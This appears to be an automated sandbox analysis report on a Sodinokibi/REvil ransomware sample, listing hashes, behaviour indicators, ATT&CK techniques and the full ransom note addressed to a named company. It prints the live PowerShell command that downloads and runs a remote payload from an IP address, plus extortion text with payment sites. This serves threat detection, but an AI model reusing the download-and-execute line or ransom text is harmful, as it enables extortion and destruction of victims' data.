sodinokibi | d9632dbb498dcc5c817f3d28376b83ce717767e8f2eda31dca931a781785dc09

General

Target

78db7807ce9e00993f72a5410cc869e8.bat
Size

218B
MD5

289804e7e330a37b07416d754819db89
SHA1

8ed98b81615c3571fad40a840eae66f2de5fb035
SHA256

d9632dbb498dcc5c817f3d28376b83ce717767e8f2eda31dca931a781785dc09
SHA512

ac9649099ea34f88787d84761b3ea53acc436e847d91d2ac046d95cd176d8fe57a63b58ed726fae6f02507fe197e229ae664a4c903531642cd320ce1eeacce40

Score

10^/10

ransomware persistence sodinokibi

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/78db7807ce9e00993f72a5410cc869e8

Extracted

Path

C:\p6v98e-read-me.txt

Family

sodinokibi

Ransom Note

---=== Welcome Delco Automation Inc ===--- [+] Whats Happen? [+] Your network has been penetrated. Your files are encrypted with strong military algorithm, and currently unavailable. You can check it: all files on your system has extension p6v98e. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). Also, all your business info copyed to our servers. Personal data and business contacts extracted. If you do not take action to contact us, the data will be published for free access to everyone. As soon as we receive the payment, all data will be deleted from our servers. [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/C3AB008315086144 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/C3AB008315086144 Contact with us in chat on website. You have 3 days. If you need more time to make a decision and collect money for payment - inform the support chat about this. [+] How will the decryption process proceed after payment? [+] After payment we will send to you our scanner-decoder program and detailed instructions for use. With this program you will be able to decrypt all your encrypted files. Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: foi65ogVPF3y5+fI/rh5LqvocYN8rTYo7qudwbeY/YMKb6D/Au6eMSA2WJCYH8V3 oTOtkipLV/A72WhG+1U+omVDqDu6oSOl0DQ5xZbJDtGum/4FikhSf2fX6ZCumQu3 QOOHwZK09VIiPqN+awrVgKl0T3HY3RtCpFSMzaRSz70ETmLbUsKLzcZ/ZlxJW0xD XmVuwOY3w3FOgQBuQFumqe3vBH6PUhezrf0PCf1dCPg2RwUxhHMHLDOCY9r+rnYI yCX1tlpGxMMHGaxy2yJsFa7epD3qCCnBNi/vMCPS4b1NLdRQT2VCvHvEk0vXfF7I UahmnG4bESw4+iamMLl84v/1GN+9wGiF68Oz+U102+YOhS9uBbNnQt+ckqm1begW LC5FgnH4v906ywbnR3ZzXUms0pPS0EgxwL5YkuyDRBpE7KLqLX98hXxO9OPrACOo ceXaOgA5P158U9LrdcHBt0AUY0C1rCJpbsyhNvtD8YR4OJnxyEBFKhiZrN1L+ATJ Ko+HR2xMj6NKAh25adQ4X3PPFiTvtJ/LLXWnH+UCN5fH6OiNqUr35/bTHUlg9uav QOiztB13bvONCgW1y1mKP8hXHpG+v3HiWe6MpLRYV2tBM2gZJVjy72eM3VKDauUt 7qEEyVVWWDCwAWPlEr40nLJxNdz+Sn4X9HXBPTHxFEkERIB0oep80FUuRehnXIOx am8wUqqe6Kdcl1LCoWe+Cfjh1h0Li7PgzJ6t2t1u4ZGY9rvcexxLo/7Deote2Vdm ENnIcwZ6QzLo1xerS5WRCQMmwfzMhrv1kWqRpXR1Imi4urvRG0z6NyIrcVXasyej RmHhU2MikKvneoKZIQw0CFIxfst4bvIF7Q5tdMWmbROI1D+Z+NAr8A8AadBpIdo+ owCUiMKO902r/UgvQGpUfjX4CjWXMpDegAskqhQLCs4Bzp1sRxy/x/bIiLgbf3Wd YJQV+8WR2hYsHKXxiEKBofggfDoEaFTc8v17WKtGYjQKGgt4NhuXpqvMmoytQBdY MviVgRv0du7+Mr9fjhLL/0iBx6SlruxYwizBKwOQGulfcRgGVpn8RpVNcEF0efnk guGVVGjm4en2lUlpMW8GbNZYZBqTRLVi0CS+pLEddb0OqUqw6kSRCvAQzLumcj9B 7/oHHKdwN6r4LM5arVFViwSEf/1llRY1Cjshf2AiORnr66CtBiAltC3M0SVXivyE Bjw2bKXefpCXIlMkfQ6uZx5Zx1oUEkVXNK8zVLyPVedF5XHZJInAJwiMaRf0hs4x aXJXqmkC0unCyNJJzFJq4Q== ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

Signatures

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi

Blacklisted process makes network request 115 IoCs

Processes:

powershell.exe

flow	pid	process
1	3864	powershell.exe
6	3864	powershell.exe
8	3864	powershell.exe
10	3864	powershell.exe
12	3864	powershell.exe
14	3864	powershell.exe
16	3864	powershell.exe
18	3864	powershell.exe
20	3864	powershell.exe
22	3864	powershell.exe
24	3864	powershell.exe
26	3864	powershell.exe
28	3864	powershell.exe
30	3864	powershell.exe
32	3864	powershell.exe
34	3864	powershell.exe
36	3864	powershell.exe
38	3864	powershell.exe
40	3864	powershell.exe
42	3864	powershell.exe
44	3864	powershell.exe
46	3864	powershell.exe
48	3864	powershell.exe
49	3864	powershell.exe
51	3864	powershell.exe
53	3864	powershell.exe
55	3864	powershell.exe
57	3864	powershell.exe
58	3864	powershell.exe
60	3864	powershell.exe
62	3864	powershell.exe
64	3864	powershell.exe
66	3864	powershell.exe
68	3864	powershell.exe
70	3864	powershell.exe
72	3864	powershell.exe
74	3864	powershell.exe
76	3864	powershell.exe
78	3864	powershell.exe
80	3864	powershell.exe
82	3864	powershell.exe
84	3864	powershell.exe
86	3864	powershell.exe
88	3864	powershell.exe
90	3864	powershell.exe
92	3864	powershell.exe
96	3864	powershell.exe
98	3864	powershell.exe
100	3864	powershell.exe
103	3864	powershell.exe
107	3864	powershell.exe
110	3864	powershell.exe
112	3864	powershell.exe
114	3864	powershell.exe
116	3864	powershell.exe
118	3864	powershell.exe
120	3864	powershell.exe
122	3864	powershell.exe
124	3864	powershell.exe
126	3864	powershell.exe
128	3864	powershell.exe
130	3864	powershell.exe
132	3864	powershell.exe
134	3864	powershell.exe

Modifies extensions of user files 6 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

powershell.exe

description	ioc	process
File renamed	C:\Users\Admin\Pictures\UninstallDismount.png => \??\c:\users\admin\pictures\UninstallDismount.png.p6v98e	powershell.exe
File renamed	C:\Users\Admin\Pictures\SaveStart.png => \??\c:\users\admin\pictures\SaveStart.png.p6v98e	powershell.exe
File opened for modification	\??\c:\users\admin\pictures\LimitResolve.tiff	powershell.exe
File renamed	C:\Users\Admin\Pictures\CheckpointCopy.crw => \??\c:\users\admin\pictures\CheckpointCopy.crw.p6v98e	powershell.exe
File renamed	C:\Users\Admin\Pictures\LimitResolve.tiff => \??\c:\users\admin\pictures\LimitResolve.tiff.p6v98e	powershell.exe
File renamed	C:\Users\Admin\Pictures\OpenStep.raw => \??\c:\users\admin\pictures\OpenStep.raw.p6v98e	powershell.exe

Enumerates connected drives 3 TTPs

Query Registry
T1012

Peripheral Device Discovery
T1120

System Information Discovery
T1082

Modifies service 2 TTPs 5 IoCs

persistence

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

vssvc.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\COM+ REGDB Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\ASR Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\SwProvider_{b5946137-7b9f-4925-af80-51abd60b20d5}	vssvc.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\ix64v514n03vt.bmp"	powershell.exe

Drops file in Program Files directory 24 IoCs

Processes:

powershell.exe

description	ioc	process
File created	\??\c:\program files\p6v98e-read-me.txt	powershell.exe
File created	\??\c:\program files (x86)\p6v98e-read-me.txt	powershell.exe
File opened for modification	\??\c:\program files\DebugGet.001	powershell.exe
File opened for modification	\??\c:\program files\DebugStart.edrwx	powershell.exe
File opened for modification	\??\c:\program files\MountStop.easmx	powershell.exe
File opened for modification	\??\c:\program files\StopStart.dwfx	powershell.exe
File opened for modification	\??\c:\program files\UninstallMerge.ini	powershell.exe
File opened for modification	\??\c:\program files\WriteNew.wvx	powershell.exe
File opened for modification	\??\c:\program files\ApprovePublish.m4a	powershell.exe
File opened for modification	\??\c:\program files\InitializeEnable.cfg	powershell.exe
File opened for modification	\??\c:\program files\InstallBlock.wmf	powershell.exe
File opened for modification	\??\c:\program files\ResumeLock.mht	powershell.exe
File opened for modification	\??\c:\program files\SearchApprove.mov	powershell.exe
File opened for modification	\??\c:\program files\StopUndo.potm	powershell.exe
File opened for modification	\??\c:\program files\InvokeEdit.ttf	powershell.exe
File opened for modification	\??\c:\program files\MergeBlock.mpv2	powershell.exe
File opened for modification	\??\c:\program files\OutWatch.aifc	powershell.exe
File opened for modification	\??\c:\program files\SaveOut.css	powershell.exe
File opened for modification	\??\c:\program files\ApproveConvert.au	powershell.exe
File opened for modification	\??\c:\program files\ConnectTest.ogg	powershell.exe
File opened for modification	\??\c:\program files\DebugDisconnect.otf	powershell.exe
File opened for modification	\??\c:\program files\EnterOptimize.m1v	powershell.exe
File opened for modification	\??\c:\program files\ResetStep.vsx	powershell.exe
File opened for modification	\??\c:\program files\ResetUnregister.DVR	powershell.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

powershell.exe

pid process

3864 powershell.exe
3864 powershell.exe
3864 powershell.exe
3864 powershell.exe
3864 powershell.exe

pid	process
3864	powershell.exe
3864	powershell.exe
3864	powershell.exe
3864	powershell.exe
3864	powershell.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

Processes:

powershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	3864	powershell.exe
Token: SeDebugPrivilege	3864	powershell.exe
Token: SeTakeOwnershipPrivilege	3864	powershell.exe
Token: SeBackupPrivilege	2692	vssvc.exe
Token: SeRestorePrivilege	2692	vssvc.exe
Token: SeAuditPrivilege	2692	vssvc.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 344 wrote to memory of 3864	344	cmd.exe	powershell.exe
PID 344 wrote to memory of 3864	344	cmd.exe	powershell.exe
PID 344 wrote to memory of 3864	344	cmd.exe	powershell.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\78db7807ce9e00993f72a5410cc869e8.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:344

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/78db7807ce9e00993f72a5410cc869e8');Invoke-VHCXYJMKGXZ;Start-Sleep -s 10000"
2⤵
- Blacklisted process makes network request
- Modifies extensions of user files
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3864

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Modifies service
- Suspicious use of AdjustPrivilegeToken
PID:2692

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

1

T1031

Privilege Escalation

Defense Evasion

Modify Registry

2

T1112

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

1

T1491

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Downloads

memory/3864-0-0x0000000000000000-mapping.dmp

Download
memory/3864-1-0x0000000073790000-0x0000000073E7E000-memory.dmp

Filesize
6.9MB

Download
memory/3864-2-0x0000000006B40000-0x0000000006B41000-memory.dmp

Filesize
4KB

Download
memory/3864-3-0x0000000007270000-0x0000000007271000-memory.dmp

Filesize
4KB

Download
memory/3864-4-0x0000000007150000-0x0000000007151000-memory.dmp

Filesize
4KB

Download
memory/3864-5-0x0000000007950000-0x0000000007951000-memory.dmp

Filesize
4KB

Download
memory/3864-6-0x00000000079C0000-0x00000000079C1000-memory.dmp

Filesize
4KB

Download
memory/3864-7-0x0000000007CE0000-0x0000000007CE1000-memory.dmp

Filesize
4KB

Download
memory/3864-8-0x0000000007AF0000-0x0000000007AF1000-memory.dmp

Filesize
4KB

Download
memory/3864-9-0x0000000008500000-0x0000000008501000-memory.dmp

Filesize
4KB

Download
memory/3864-10-0x00000000082E0000-0x00000000082E1000-memory.dmp

Filesize
4KB

Download
memory/3864-11-0x0000000009A60000-0x0000000009A61000-memory.dmp

Filesize
4KB

Download
memory/3864-12-0x0000000008FF0000-0x0000000008FF1000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads